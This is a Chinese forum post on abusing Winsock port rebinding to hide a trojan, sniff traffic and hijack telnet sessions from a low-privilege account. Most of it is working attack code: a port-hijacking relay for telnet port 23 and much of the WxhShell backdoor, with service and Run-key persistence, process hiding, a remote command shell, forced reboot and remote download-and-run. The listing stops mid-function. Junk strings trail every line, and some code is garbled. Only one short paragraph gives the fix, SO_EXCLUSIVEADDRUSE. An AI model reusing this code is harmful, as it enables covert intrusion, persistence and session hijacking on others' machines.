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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6-uLK'E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c{dabzL y  
_;U%`/T b  
  saddr.sin_family = AF_INET; =-_hq'il  
6D[]Jf,9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FF#+d~$z  
^<qi&*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t1U+7nM  
lz ::6}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \K~wsu/?`  
MoQ\~/Z|  
  这意味着什么?意味着可以进行如下的攻击: <YtjE!2  
F~qZIggD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ll-QhcC$  
7H?xp_D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4Ngp  -  
5y 5Dn!`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $|@vmv0  
m(?{#aaq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2IE\O 8b  
YvcV801Go  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4xq|  
\y:48zd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "oNl!<ep  
^e <E/j{~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z6l'v~\  
8PH4v\tJEK  
  #include ;Vc|3  
  #include In?#?:Q@&  
  #include pqb`g@  
  #include    |,5|ZpgL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $H[q5(_~  
  int main() 5O d]rE  
  { p4MWX12  
  WORD wVersionRequested; ZZZ9C#hK^9  
  DWORD ret; b=xn(HE8|  
  WSADATA wsaData; $ ,]U~7S  
  BOOL val; ~Gz9pBv1  
  SOCKADDR_IN saddr; /5/gnp C  
  SOCKADDR_IN scaddr; &Jb\}c}  
  int err; dr}PjwW%  
  SOCKET s; PZJ9f8 V  
  SOCKET sc; IQ_s]b;z  
  int caddsize; c AO:fb7  
  HANDLE mt; $-Ex g*i  
  DWORD tid;   }zf!mlk  
  wVersionRequested = MAKEWORD( 2, 2 ); &mmaoWR  
  err = WSAStartup( wVersionRequested, &wsaData ); 5qW>#pTFVV  
  if ( err != 0 ) { t"YsIOT:O"  
  printf("error!WSAStartup failed!\n"); UWqD)6  
  return -1; mICEJ\`x  
  } ni%)a  
  saddr.sin_family = AF_INET; d6'G 7'9  
   pvUV5^B(M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jq*`| m;Q  
j}",+H v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `R: W5_n  
  saddr.sin_port = htons(23); zD<W`_z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y 0Fq -H  
  { @`C'tfG/4  
  printf("error!socket failed!\n"); D?"P\b[/  
  return -1; DE/SIy?  
  } isd-b]@:Lc  
  val = TRUE; TUC)S&bC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aK - x{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M @-:iP  
  { u "jV#,,  
  printf("error!setsockopt failed!\n"); RU4X#gP4Vh  
  return -1; (@5`beEd  
  } n`&D_AbQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M1xsGa9h&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `MuX/ [q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 65qqs|&w;[  
_Iav2= 0Wi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } v:YSG  
  { -yc YQ~R  
  ret=GetLastError(); mc8Q2eQat}  
  printf("error!bind failed!\n"); e }?.3,?  
  return -1; iaEQF]*cC  
  } 7]zZdqG&p`  
  listen(s,2); A2:}bb~H  
  while(1) g ,EDE6`8  
  { "4H@&:-(p  
  caddsize = sizeof(scaddr); ll4CF}k  
  //接受连接请求 @QVg5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S\N1qux{  
  if(sc!=INVALID_SOCKET) 4xmJQ>/  
  { J|f29B-c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o>,r<  
  if(mt==NULL) > B@c74  
  { >bze0`}Z  
  printf("Thread Creat Failed!\n"); s. A}ydtt  
  break; {<gv1Yht  
  } ,7Hyrx`  
  } <n]PD;.4  
  CloseHandle(mt); v;o1c44;  
  } iLuC_.'u=  
  closesocket(s); }8Y! -qX  
  WSACleanup(); (vZ-0Ep}  
  return 0; m =b7 r  
  }   i83~&Q=  
  DWORD WINAPI ClientThread(LPVOID lpParam) oC>J{z  
  { Lo!hyQ)  
  SOCKET ss = (SOCKET)lpParam; zT78FliY6  
  SOCKET sc; }u O YF  
  unsigned char buf[4096]; vJ65F6=G  
  SOCKADDR_IN saddr; I@ue eDY  
  long num;  'Y)aGH(  
  DWORD val; &=kv69v  
  DWORD ret; f|q/2}Bqb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `_OrBu[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j@z IJ  
  saddr.sin_family = AF_INET; HbA/~7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u7hu8U=  
  saddr.sin_port = htons(23); M@.S Q@E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) } jJKE  
  { "UMaZgI  
  printf("error!socket failed!\n"); [A84R04_%  
  return -1; n >y,{"J{  
  } 37zB X~  
  val = 100; :,JaOn'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Xu|hkK\e  
  { ~ #3{5* M  
  ret = GetLastError(); M.mn9kw`  
  return -1; nTr%S&<+"  
  } W34xrm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F1@Po1VTD  
  { kx;X:I(5&P  
  ret = GetLastError(); 3?*d v14  
  return -1; 2 3PRb<q  
  } -|m3=#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +zMPkbP6  
  { #!R>`l(S  
  printf("error!socket connect failed!\n"); }b(h D|e  
  closesocket(sc); Th9V8Rg+E  
  closesocket(ss); W`G bo uxd  
  return -1; ?^%[*OCCC!  
  } "frZ%mv  
  while(1) bzNnEH`^]  
  { ?`U_|Yo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xOe1v9<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UGO;5!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XMI*obS'z  
  num = recv(ss,buf,4096,0); ]LC4rS  
  if(num>0) hI86WP9*  
  send(sc,buf,num,0); F0U %m   
  else if(num==0) }MRgNr'k  
  break; 0#J~@1Gf  
  num = recv(sc,buf,4096,0); 1z6aMd6.  
  if(num>0) Z\IM~-  
  send(ss,buf,num,0); y 9]d{:9  
  else if(num==0) C{J5:ak  
  break; LBy`N_@  
  } Qjj }k)  
  closesocket(ss); -iDs:J4Iq  
  closesocket(sc); pKc!sd C  
  return 0 ;  _'!?fA  
  } kuH%aM<R  
;]-08lzO<4  
dP8qP_77A~  
========================================================== kT@ITA22  
dA h cA.  
下边附上一个代码,,WXhSHELL $k\bP9  
vTK%8qoZ  
========================================================== k2D*`\ D  
tw$EwNI[  
#include "stdafx.h" J=3{<Xl  
4P3RRS  
#include <stdio.h> Pw<?Dw]m  
#include <string.h> ~DK.Y   
#include <windows.h> x *I'Ar  
#include <winsock2.h> 0(y*EJA$  
#include <winsvc.h> U7x  
#include <urlmon.h> V|'@D#\  
"mJo<i}  
#pragma comment (lib, "Ws2_32.lib") lubsLI  
#pragma comment (lib, "urlmon.lib") #EzhtuHxn  
%]LoR$|Y  
#define MAX_USER   100 // 最大客户端连接数 s9wzN6re  
#define BUF_SOCK   200 // sock buffer Z2]0brV  
#define KEY_BUFF   255 // 输入 buffer mKe6rEUs|  
S5hc@^|0Z  
#define REBOOT     0   // 重启 arm_SyL0  
#define SHUTDOWN   1   // 关机 K]m#~J3d>  
s=jmvvs_V}  
#define DEF_PORT   5000 // 监听端口 [}4zqY{  
#g6_)B=S  
#define REG_LEN     16   // 注册表键长度 ,'(|,f42  
#define SVC_LEN     80   // NT服务名长度 X <xM '  
%0-oZL  
// 从dll定义API yf:0u_&]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u<:uL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \7LL neq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jv~#'=T'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F `:Q  
bra2xHK@  
// wxhshell配置信息 Sn-#Y(>]o0  
struct WSCFG { )jL@GW  
  int ws_port;         // 监听端口 =cl#aS}e8  
  char ws_passstr[REG_LEN]; // 口令 P;I,f  
  int ws_autoins;       // 安装标记, 1=yes 0=no #!Cg$6%x9  
  char ws_regname[REG_LEN]; // 注册表键名 j>JBZ#g  
  char ws_svcname[REG_LEN]; // 服务名 d8: $ll  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }6[jJ`=gOx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _|C3\x1c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h/\v+xiF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y05!-G:Y\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %_Vz0 D! 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HAO-|=c4  
(>0`e8v!  
}; /1LN\Eu  
]  & ]G  
// default Wxhshell configuration @TALZk'%  
struct WSCFG wscfg={DEF_PORT, |2^m CL.r  
    "xuhuanlingzhe", oqwW  
    1, !6|_`l>G,  
    "Wxhshell", w~B1TfqNo  
    "Wxhshell", K;"H$0 !9  
            "WxhShell Service", WDY\Fj   
    "Wrsky Windows CmdShell Service", k H65k (  
    "Please Input Your Password: ", p_Xfj2E4c  
  1, bnfeZR1m_  
  "http://www.wrsky.com/wxhshell.exe", : _Y^o  
  "Wxhshell.exe" \xS X'/G  
    }; h:pgN,W}  
PNAvT$0LaZ  
// 消息定义模块 rmw}Ui"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Di~}*9&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bsu?Q'q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BPkMw'a:  
char *msg_ws_ext="\n\rExit."; |5;,]lbt  
char *msg_ws_end="\n\rQuit."; s>G6/TTH6  
char *msg_ws_boot="\n\rReboot..."; 65zwi-  
char *msg_ws_poff="\n\rShutdown..."; ^iEf"r  
char *msg_ws_down="\n\rSave to "; |h $Gs2  
*=@8t^fa86  
char *msg_ws_err="\n\rErr!"; l atm_\  
char *msg_ws_ok="\n\rOK!";  $Z &6  
%t_'rv  
char ExeFile[MAX_PATH]; G:b6Wf  
int nUser = 0; x%X3FbF]  
HANDLE handles[MAX_USER]; &H# l*  
int OsIsNt; ~W>{Dd(J_  
eJqx,W5MK]  
SERVICE_STATUS       serviceStatus; a)2l9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D7pQWlN\  
Y_*KAr'{P  
// 函数声明 @GAj%MK$  
int Install(void); ;L87 %P(.  
int Uninstall(void); 5L6.7}B  
int DownloadFile(char *sURL, SOCKET wsh); $!G|+OuTR  
int Boot(int flag); umP nw  
void HideProc(void); !"phz&E5ah  
int GetOsVer(void); 4Ty?>'*|  
int Wxhshell(SOCKET wsl); xy>$^/[$  
void TalkWithClient(void *cs); / w dvm4  
int CmdShell(SOCKET sock); &S.p%Qe"  
int StartFromService(void); ;,Vdj[W$>  
int StartWxhshell(LPSTR lpCmdLine); _RcEfT  
* g+v*q X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o7we'1(O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); im<!JMI  
C|H`.|Q  
// 数据结构和表定义 gm]q<~eMW  
SERVICE_TABLE_ENTRY DispatchTable[] = ?z)2\D  
{ \Yp"D7:Qi  
{wscfg.ws_svcname, NTServiceMain}, t#M[w|5?  
{NULL, NULL} ';.TQ_I7Y  
}; hK4ww"-  
=:T"naY(  
// 自我安装 P `<TO   
int Install(void) u@Gum|_=N  
{ J8FzQ2  
  char svExeFile[MAX_PATH]; ,%m~OB #  
  HKEY key; dT1UYG}>j  
  strcpy(svExeFile,ExeFile); \l(}8;5}  
miBCq l@x  
// 如果是win9x系统,修改注册表设为自启动 uF%N`e^S  
if(!OsIsNt) { Nc6y]eGz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *C)m#[#:u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); or ~@!  
  RegCloseKey(key); 7g8\q@',  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { im>/$!&OyI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `o_i+?E  
  RegCloseKey(key); i]zh8|">  
  return 0; g0~m[[  
    } ([JFX@  
  } 3mE8tTA$R  
} s!09cS  
else { ,EH-Sf2Cb  
Mf"(P.GIS  
// 如果是NT以上系统,安装为系统服务 5FJ%"5n&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :'t"kS  
if (schSCManager!=0) QncjSaEE  
{ S% ptG$Z  
  SC_HANDLE schService = CreateService Y,n8co^  
  ( *s1o?'e  
  schSCManager, U2_;  
  wscfg.ws_svcname, =*4^Dtp  
  wscfg.ws_svcdisp, |L;Hd.l7^*  
  SERVICE_ALL_ACCESS, fiAj# mX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K~&3etQF  
  SERVICE_AUTO_START, BR6HD7G  
  SERVICE_ERROR_NORMAL, z,qNuv"W  
  svExeFile, :'H}b*VWx  
  NULL, -K^(L #G  
  NULL, muK)Y w[#N  
  NULL, UWCm:eRQ  
  NULL, *}r6V"pH~  
  NULL 5U_ar   
  );  M+=q"#&  
  if (schService!=0) ' z^v}~  
  { ,=ju^_^sA  
  CloseServiceHandle(schService); Odt<WG  
  CloseServiceHandle(schSCManager); ]~m=b` o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m&*0<N  
  strcat(svExeFile,wscfg.ws_svcname); UBwYwm0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BhyLcUBuB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pw Amnk !  
  RegCloseKey(key); a<pEVV\NB~  
  return 0; A[88IMZs  
    } GO#eI]>/r  
  } g[{rX4~|  
  CloseServiceHandle(schSCManager); huin?,eGz  
} 2JHF*zvO-  
} \<=.J`o{  
HRd02tah  
return 1; v<} $d.&*  
} &M\qVL%w  
Wu?[1L:x  
// 自我卸载 wzI*QXV2s  
int Uninstall(void) 1kc{`oL  
{ (yeN> x}_  
  HKEY key; Iak06E  
G#^6H]`[J:  
if(!OsIsNt) { G|$n,X1O(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { su=]gE@  
  RegDeleteValue(key,wscfg.ws_regname); \y/0)NL\  
  RegCloseKey(key); 1N8YD .3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BGT`) WP  
  RegDeleteValue(key,wscfg.ws_regname); xiQd[[(sM  
  RegCloseKey(key); 1$c[G}h  
  return 0; kb*b|pWlO  
  } =?B[oq  
} vinn|_s%  
} na/,1iI<  
else { 7 (i\?  
n22OPvp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jAFJ?L(  
if (schSCManager!=0) 7mS_Cz+cB  
{ 0vz!)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u bi6=  
  if (schService!=0) Gc!&I+kd  
  { '^t(=02J  
  if(DeleteService(schService)!=0) { 2f0_Xw_V_  
  CloseServiceHandle(schService); 4kLTKm:G  
  CloseServiceHandle(schSCManager); Uv3Fe%>  
  return 0; ~!dO2\X+  
  } (7P VfS>;  
  CloseServiceHandle(schService); %aJ8wYj*  
  } LTio^uH  
  CloseServiceHandle(schSCManager); y{qKb:~wv  
} qB=%8$J  
} NEMC  
W QyMM@#  
return 1; D|5Fo'O^AV  
} r%oXO]X  
M#]URS2h<O  
// 从指定url下载文件 [%7oq;^J  
int DownloadFile(char *sURL, SOCKET wsh) ) ]]PhGX~  
{ ~M J3-<I  
  HRESULT hr; x@"`KiEUs  
char seps[]= "/"; 7y>{Y$n  
char *token; N%8aLD  
char *file; .*w3ryQ  
char myURL[MAX_PATH]; Zv1/J}+  
char myFILE[MAX_PATH]; E@ !~q  
=^3B&qQNq  
strcpy(myURL,sURL); WPNvZg9*c  
  token=strtok(myURL,seps); )pt#Pu  
  while(token!=NULL)  AQz&u  
  { []eZO_o6j  
    file=token; bMF`KRP2  
  token=strtok(NULL,seps); 9RN! <`H  
  } 2Y{r2m|o  
_M}}H3  
GetCurrentDirectory(MAX_PATH,myFILE); |/p2DU2  
strcat(myFILE, "\\"); /H[!v:U  
strcat(myFILE, file); $P~Tt4068  
  send(wsh,myFILE,strlen(myFILE),0); 3MFb\s&Fq  
send(wsh,"...",3,0); S QVyCxcX_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  'x\{sv  
  if(hr==S_OK) -qndBS  
return 0; syLpnNx=  
else E?P:!V=_  
return 1; R a?0jcSQ$  
<</ Le%  
} qc`UDD5  
h/F,D_O>ZO  
// 系统电源模块 g JMv  
int Boot(int flag) VYN1^Tp  
{ e$@azi1  
  HANDLE hToken; t12 xPtN1  
  TOKEN_PRIVILEGES tkp; o.H(&ex|  
oT27BK26?h  
  if(OsIsNt) { CpF&Vy K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S~LT Lv:>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o5eFLJ6  
    tkp.PrivilegeCount = 1; Nl`8Kcv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E; Z1HF R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ['n;e:*  
if(flag==REBOOT) { $3MYr5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HGRH9W  
  return 0; 6*H F`@(  
} `JL&x|q o  
else { |F#L{=B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t{)J#8:g  
  return 0; CK+_T}+-  
} gcf EJN4'  
  } (t)a u  
  else { BAS3&fA  
if(flag==REBOOT) { i^'Uod0d.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j8Csnm0  
  return 0; #/ Qe7:l  
} ~'l.g^p bv  
else { *b0f)y3RV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P*;zDQy  
  return 0; Xz, sL  
} +b]+5!  
} 9fL48f$  
SNK _  
return 1; B}y-zj; T  
} 9>"To  
;eeu 9_$  
// win9x进程隐藏模块 f#9\&-h e0  
void HideProc(void) 5#U*vGVT  
{ UF00K1dbz  
FWbA+{8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _=eeZ4f  
  if ( hKernel != NULL ) G}b LWA  
  { UE9r1g`z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wN ![SM/+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bJE$>  
    FreeLibrary(hKernel); M6b; DQ  
  } Wg+fT{[f|  
a~F` {(Q2  
return; t~0}Emgp<(  
} w oqP&8a  
wz P")}[0  
// 获取操作系统版本 "sf]I[a  
int GetOsVer(void) `)W}4itm  
{ #Mz N7  
  OSVERSIONINFO winfo; w<]Wg^dyQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8HyK;+ZkVd  
  GetVersionEx(&winfo); ei8OLcw:x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 85fBKpEe  
  return 1; z;_d?S <*m  
  else 0#mu[O  
  return 0; &\0`\#R  
} u&>o1!c*P  
P:")Qb2  
// 客户端句柄模块 {AY `\G  
int Wxhshell(SOCKET wsl) e>kw>%3bl9  
{ `"E|  
  SOCKET wsh; J !:ss  
  struct sockaddr_in client; Iz#h:O  
  DWORD myID; (Js'(tBhiU  
>_y>["u6J#  
  while(nUser<MAX_USER) 7='M&Za  
{  nO~TW  
  int nSize=sizeof(client); e FPDW;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4V7{5:oa  
  if(wsh==INVALID_SOCKET) return 1; ,zLi{a6  
/EOtK|E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {qm(Z+wcmb  
if(handles[nUser]==0) b7/1 ]  
  closesocket(wsh); Y24: D7Q  
else :LL>C)(f  
  nUser++; vTD`Ja#h  
  } yS#LT3>l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )h ~MIpWR  
SZCF db  
  return 0; ?hS n)  
} m#'2 3  
W)F2X0D>  
// 关闭 socket Vl!Z|}z  
void CloseIt(SOCKET wsh) 7K`A2  
{ L44-: 3  
closesocket(wsh); a<[@p  
nUser--; 1@H3!V4  
ExitThread(0); MdWT[  
} :CN,I!:  
hIw<gb4J%  
// 客户端请求句柄 qPpC)6-Q  
void TalkWithClient(void *cs) j0k"iv  
{ >Z?3dM~[  
Nvs8t%  
  SOCKET wsh=(SOCKET)cs; ;fhFv&`mE  
  char pwd[SVC_LEN]; *N$#cz  
  char cmd[KEY_BUFF]; tLpDIA_8  
char chr[1]; #{ M$%l>  
int i,j; d;ElqRC&  
H;<hmbN?d  
  while (nUser < MAX_USER) { h]<Ld9  
#Vanw!  
if(wscfg.ws_passstr) { v.+-)RLQg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 74%,v|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aF$HF;-y  
  //ZeroMemory(pwd,KEY_BUFF); S5'BXE,  
      i=0; #`/KF_a3\>  
  while(i<SVC_LEN) { 5isejR{r  
}abM:O "Y  
  // 设置超时 Ku_`F2Q  
  fd_set FdRead; 77OH.E|$  
  struct timeval TimeOut; ]OHzE]Q  
  FD_ZERO(&FdRead); p~28?lYv  
  FD_SET(wsh,&FdRead); xX  
  TimeOut.tv_sec=8; =%|S$J  
  TimeOut.tv_usec=0; 5-}4jwk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bya!pzbpr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fAfsKO*  
PK u+$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v[ru }/4  
  pwd=chr[0]; rZZueYuXO  
  if(chr[0]==0xd || chr[0]==0xa) { O'" &9  
  pwd=0; |-I[{"6q$@  
  break; Xi5ZQo!t  
  } Tc@r#!.m  
  i++; {3C~cK{  
    } bzmT.!  
Fy<dk}@  
  // 如果是非法用户,关闭 socket LN?f w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )k3zOKZ;  
} K!k,]90Ko  
JcZs\ fl9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?G1-X~Z8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H.j(hc'  
G;FY2;adK  
while(1) { q?&vV`PG5  
Tm@mk  
  ZeroMemory(cmd,KEY_BUFF); y&A*/J4P  
0,nDyTS^  
      // 自动支持客户端 telnet标准   ]xA;*b;| h  
  j=0; 5>q|c`&}E  
  while(j<KEY_BUFF) { u%#bu^4"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z*nC ;5Kd  
  cmd[j]=chr[0]; ;]MHU/  
  if(chr[0]==0xa || chr[0]==0xd) { $r9Sn  
  cmd[j]=0; H(!)]dO  
  break; ,~gY'Ql  
  } o8RagSIo8  
  j++; [a 5L WW  
    } NZ'S~Lr   
~j mHzF kQ  
  // 下载文件 ld4QhZia  
  if(strstr(cmd,"http://")) { I1 j-Q8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R\MM2_I  
  if(DownloadFile(cmd,wsh)) wCvtw[6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Os$Uui37\  
  else qp_kILo~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IC/'<%k  
  } O(h4;'/E  
  else { X&t)S?eCos  
2Q)"~3  
    switch(cmd[0]) { rFSLTbTf  
  &2MW.,e7s  
  // 帮助 (J][(=s;a  
  case '?': { wnP#.[,V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Jo_f&&{  
    break; <n>Kc}c  
  } bJ]g2C7`36  
  // 安装 +o!".Hp  
  case 'i': { q.t>:`  
    if(Install()) 7Xm pq&g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uOEy}&fH  
    else IBC P6[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n$GeRO  
    break; %?y ?rt  
    } & p"ks8"  
  // 卸载 'd^U!l  
  case 'r': { X26gl 'U  
    if(Uninstall()) %w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7Z _Hw  
    else y|nMCkuX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9PVM06   
    break; )Rn}4)9!iT  
    } 7:I` ~ @m  
  // 显示 wxhshell 所在路径 j{IAZs#@>  
  case 'p': { ,-&ler~[  
    char svExeFile[MAX_PATH]; VieC+Kk  
    strcpy(svExeFile,"\n\r"); $[6:KV  
      strcat(svExeFile,ExeFile); _LFZ0  
        send(wsh,svExeFile,strlen(svExeFile),0); !!b5vzyve  
    break; Ni'vz7j  
    } $xyG0Q.  
  // 重启 lKrD.iYt8  
  case 'b': { OOGqtA;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s9PD[u/y  
    if(Boot(REBOOT)) )$I;)` q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /<9VKMR_k  
    else { :z56!qU  
    closesocket(wsh); !%_Z>a  
    ExitThread(0); xXE/pIXw  
    } vX]\Jqy  
    break; SgHLs  
    } =K=FzV'_~  
  // 关机 > F&Wuf  
  case 'd': { AiykIER/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ny| ni\6  
